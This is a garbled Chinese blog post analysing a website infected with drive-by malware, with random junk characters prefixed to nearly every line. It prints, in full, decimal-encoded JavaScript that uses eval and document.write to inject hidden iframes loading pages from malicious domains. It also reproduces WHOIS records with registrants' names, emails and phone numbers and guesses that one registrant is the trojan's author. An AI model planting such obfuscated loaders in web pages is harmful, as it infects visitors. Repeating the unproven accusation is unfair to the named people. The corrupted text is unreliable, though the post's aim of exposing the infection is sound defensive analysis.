首发在我的博客里面，
Q@w=Jt< FhVoN} http://www.areway.cn/?p=175 b]cnTR2E nOj0"c # )]L3H< 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
yON";|*\m y $6~&X <script>t=’60,105,102,114,97,109,101,
}G53 " 32,115,114,99,61,104,116,116,112,58,47,47,
B9i< ="=p 102,114,101,101,46,117,45,117,117,117,46,99,
,ctm;T1H+ 110,47,101,114,114,111,114,46,104,116,109,
|E5\_Z 32,119,105,100,116,104,61,49,48,48,32,104,
!aQQq[ 101,105,103,104,116,61,48,62,60,47,105,102,
,wPvv(b]a 114,97,109,101,62′;
ZtPnHs.x t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
yHIZpU|( j Zm+QhnY| <script>t=’60,105,102,114,97,109,101,32,115,
iz @LS 114,99,61,104,116,116,112,58,47,47,102,114,
4<(U/58a* 101,101,46,117,45,117,117,117,46,99,110,47,
`_Fxb@"R 101,114,114,111,114,46,104,116,109,32,119,
z3l(4W P 105,100,116,104,61,49,48,48,32,104,101,105,
LCouDk(=` 103,104,116,61,48,62,60,47,105,102,114,97,
q9iHJ'lMD* 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
3L1MMUACL document.write(t);</script>
! 5zDnv F*rsi7#!pG <html xmlns=”
$$f89, h http://www.w3.org/1999/xhtml 5eJMu=UpR “>
~us1Df0bp <head>
$9}jU#Z|hd <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
u-%|ZSg <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
+\/1V` <title>首页 - 爱生活家庭网
Wt
1]9{$ |(77ao3 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Iq["(!7E5 转换字符串后的大概内容是（谁点击后果自付）：
Ka+N5 T.f <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
[B+]F~}@ eb#p-=^KP 查询玉米u-uuu.cn的详细信息：
]**h`9MF
Domain Name: u-uuu.cn
yh:Wg$qx ROID: 20070901s10001s64972306-cn
q\]"}M 8 Domain Status: ok
vn(j i= Registrant Organization: 王雷
}Md5a% s< Registrant Name: 王雷
A8oTcX_ Administrative Email:
czlovexs@126.com o<Y[GW1pg Sponsoring Registrar: 北京万网志成科技有限公司
:HW\awv Name Server:ns.yovole.com
{;-wXzv` Name Server:ns1.yovole.com
>^N{ Registration Date: 2007-09-01 17:54
rGIf/=G^r Expiration Date: 2008-09-01 17:54
$z48~nu@ j 最后PING了一下地址 都没有什么….
X4 I+ %=[xc? 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
vzH"O = <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
<TQ,7M4 X <script language=”javascript” src=”
b<E+5;u http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script QpI\\Zt6 >
"eG@F 这个玉米应该有可能是木马作者的：
0Q4i<4 XW foafau.info的详细信息：
7Ad g; Access to INFO WHOIS information is provided to assist persons in
} 8&? determining the contents of a domain name registration record in the
hy|Yy&- Afilias registry database. The data in this record is provided by
tQ7:4 ._ Afilias Limited for informational purposes only, and Afilias does not
)~2~q7 guarantee its accuracy. This service is intended only for query-based
a4 E{7 c access. You agree that you will use this data only for lawful purposes
67D{^K"KT and that, under no circumstances will you use this data to: (a) allow,
Ahf71YP enable, or otherwise support the transmission by e-mail, telephone, or
&@ [pJ2 facsimile of mass unsolicited, commercial advertising or solicitations
nBkzNb{"AZ to entities other than the data recipient’s own existing customers; or
Or3GrZ !H (b) enable high volume, automated, electronic processes that send
tQWjNP ~ queries or data to the systems of Registry Operator, a Registrar, or
-|g9__|@ Afilias except as reasonably necessary to register domain names or
)kk10AZV-E modify existing registrations. All rights reserved. Afilias reserves
#w6ty<b; the right to modify these terms at any time. By submitting this query,
qac8zt#2
C you agree to abide by this policy.
{v>8Kp7_ R Domain ID:D22418703-LRMS
GJ Takhj3 Domain Name:FOAFAU.INFO
P1qQ )-J Created On:20-Nov-2007 16:05:42 UTC
aGb HDo Last Updated On:20-Nov-2007 16:05:44 UTC
J|=0 :G Expiration Date:20-Nov-2008 16:05:42 UTC
5`\"UC7?% Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
/hp
[ +K Status:CLIENT DELETE PROHIBITED
dKJ- {LV Status:CLIENT RENEW PROHIBITED
Zgw4[GpL Status:CLIENT TRANSFER PROHIBITED
!=bGU= ^
Status:CLIENT UPDATE PROHIBITED
;}KT 3Q<^ Status:TRANSFER PROHIBITED
XmAu n Registrant ID:GODA-040110615
4l rKU^- Registrant Name:liu hong
VKMgcfbHr/ Registrant Organization:
U+-R2w]#q_ Registrant Street1:beijing
E]dc4US Registrant Street2:
qe2@bG%2+F Registrant Street3:
twP%+/g]< Registrant City:beijing
}Yargj_Gn Registrant State/Province:
!%Bhg? Registrant Postal Code:100000
<i~=-Z( Registrant Country:CN
RaC8Sq7hW Registrant Phone:+86.860108888777
*4OB
88$ Registrant Phone Ext.:
8T5W6Zs1 Registrant FAX:
76(/(v.x Registrant FAX Ext.:
!x[]. Urj Registrant Email:bbbshiji@163.com
Pe/8=+qO Admin ID:GODA-240110615
6lob&+ Admin Name:liu hong
^I:f4RWo Admin Organization:
Dp-j(F Admin Street1:beijing
q#PMQR"C Admin Street2:
X 4CiVV Admin Street3:
j.kv!;Rj= Admin City:beijing
^y.|KA3[ Admin State/Province:
!S#K6: Admin Postal Code:100000
L ARMZoyi Admin Country:CN
k@P?,r Admin Phone:+86.860108888777
szUJh9- Admin Phone Ext.:
* -X`^R Admin FAX:
LbUH`0:%t Admin FAX Ext.:
p`)Mk<`dYD Admin Email:bbbshiji@163.com
C 8KV<k Billing ID:GODA-340110615
'l $ViNq; Billing Name:liu hong
$[0\ Th Billing Organization:
ib%'{?Q. Billing Street1:beijing
4 z^7T Billing Street2:
3R<VpN){ Billing Street3:
I(uM` g Billing City:beijing
4w#:?Y
_\[ Billing State/Province:
=wznkqyhi Billing Postal Code:100000
!CUM* <iV Billing Country:CN
d]vom@iI Billing Phone:+86.860108888777
y<kg;-& 8 Billing Phone Ext.:
p0Pmmp7r
Billing FAX:
-,q
qQf Billing FAX Ext.:
*:?XbtIK u Billing Email:bbbshiji@163.com
`_e5pW=:> Tech ID:GODA-140110615
_0o65?F Tech Name:liu hong
[L=M=;{4 Tech Organization:
}poLH S/ Tech Street1:beijing
1v inO! Tech Street2:
"Pl.G[Buc- Tech Street3:
U;#G $ Tech City:beijing
? tkl
cYB Tech State/Province:
a7sX*5t{R Tech Postal Code:100000
^B$cfs@* Tech Country:CN
M^{=& Tech Phone:+86.860108888777
a
y$CUw Tech Phone Ext.:
pfQ3Y$ z Tech FAX:
MIY`"h0* Tech FAX Ext.:
0IyT (1hS Tech Email:bbbshiji@163.com
3QCCX$, Name Server:NS27.DOMAINCONTROL.COM
{ __NVv Name Server:NS28.DOMAINCONTROL.COM
\$!D^%~; Name Server:
umN4|X Name Server:
G^:?)WRG Name Server:
9B/iQCFtj$ Name Server:
7c83g2|% Name Server:
F_@? '#m Name Server:
vi]cl=S Name Server:
`SQobH Name Server:
vr4{|5M Name Server:
CYYo+5x Name Server:
O-ppR7edh Name Server:
oG\lejO <B!DwMk;. 接着下载每个文件里面的代码：
NH4T*R)Vz 一步一步看..
U6#9W}CE 
%WPy c%I 
;Kh?iq n^ 
qfqL"G 
xy 4P_ 
0xH&^Ia1B 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
